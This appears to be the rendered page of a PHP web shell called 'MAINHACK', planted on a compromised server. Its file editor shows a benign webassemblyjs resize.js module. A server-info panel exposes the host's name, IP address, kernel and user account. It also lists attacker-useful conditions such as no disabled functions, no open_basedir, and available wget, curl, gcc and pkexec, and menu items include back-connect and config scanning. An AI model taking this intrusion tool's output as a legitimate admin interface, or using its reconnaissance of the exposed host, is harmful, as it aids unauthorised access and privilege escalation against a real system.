[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: resize.js
import { encodeU32 } from "@webassemblyjs/wasm-gen"; import { getSectionMetadata, traverse, shiftSection } from "@webassemblyjs/ast"; import { overrideBytesInBuffer } from "@webassemblyjs/helper-buffer"; export function resizeSectionByteSize(ast, uint8Buffer, section, deltaBytes) { var sectionMetadata = getSectionMetadata(ast, section); if (typeof sectionMetadata === "undefined") { throw new Error("Section metadata not found"); } if (typeof sectionMetadata.size.loc === "undefined") { throw new Error("SectionMetadata " + section + " has no loc"); } // keep old node location to be overriden var start = sectionMetadata.size.loc.start.column; var end = sectionMetadata.size.loc.end.column; var newSectionSize = sectionMetadata.size.value + deltaBytes; var newBytes = encodeU32(newSectionSize); /** * update AST */ sectionMetadata.size.value = newSectionSize; var oldu32EncodedLen = end - start; var newu32EncodedLen = newBytes.length; // the new u32 has a different encoded length if (newu32EncodedLen !== oldu32EncodedLen) { var deltaInSizeEncoding = newu32EncodedLen - oldu32EncodedLen; sectionMetadata.size.loc.end.column = start + newu32EncodedLen; deltaBytes += deltaInSizeEncoding; // move the vec size pointer size the section size is now smaller sectionMetadata.vectorOfSize.loc.start.column += deltaInSizeEncoding; sectionMetadata.vectorOfSize.loc.end.column += deltaInSizeEncoding; } // Once we hit our section every that is after needs to be shifted by the delta var encounteredSection = false; traverse(ast, { SectionMetadata: function SectionMetadata(path) { if (path.node.section === section) { encounteredSection = true; return; } if (encounteredSection === true) { shiftSection(ast, path.node, deltaBytes); } } }); return overrideBytesInBuffer(uint8Buffer, start, end, newBytes); } export function resizeSectionVecSize(ast, uint8Buffer, section, deltaElements) { var sectionMetadata = getSectionMetadata(ast, section); if (typeof sectionMetadata === "undefined") { throw new Error("Section metadata not found"); } if (typeof sectionMetadata.vectorOfSize.loc === "undefined") { throw new Error("SectionMetadata " + section + " has no loc"); } // Section has no vector if (sectionMetadata.vectorOfSize.value === -1) { return uint8Buffer; } // keep old node location to be overriden var start = sectionMetadata.vectorOfSize.loc.start.column; var end = sectionMetadata.vectorOfSize.loc.end.column; var newValue = sectionMetadata.vectorOfSize.value + deltaElements; var newBytes = encodeU32(newValue); // Update AST sectionMetadata.vectorOfSize.value = newValue; sectionMetadata.vectorOfSize.loc.end.column = start + newBytes.length; return overrideBytesInBuffer(uint8Buffer, start, end, newBytes); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002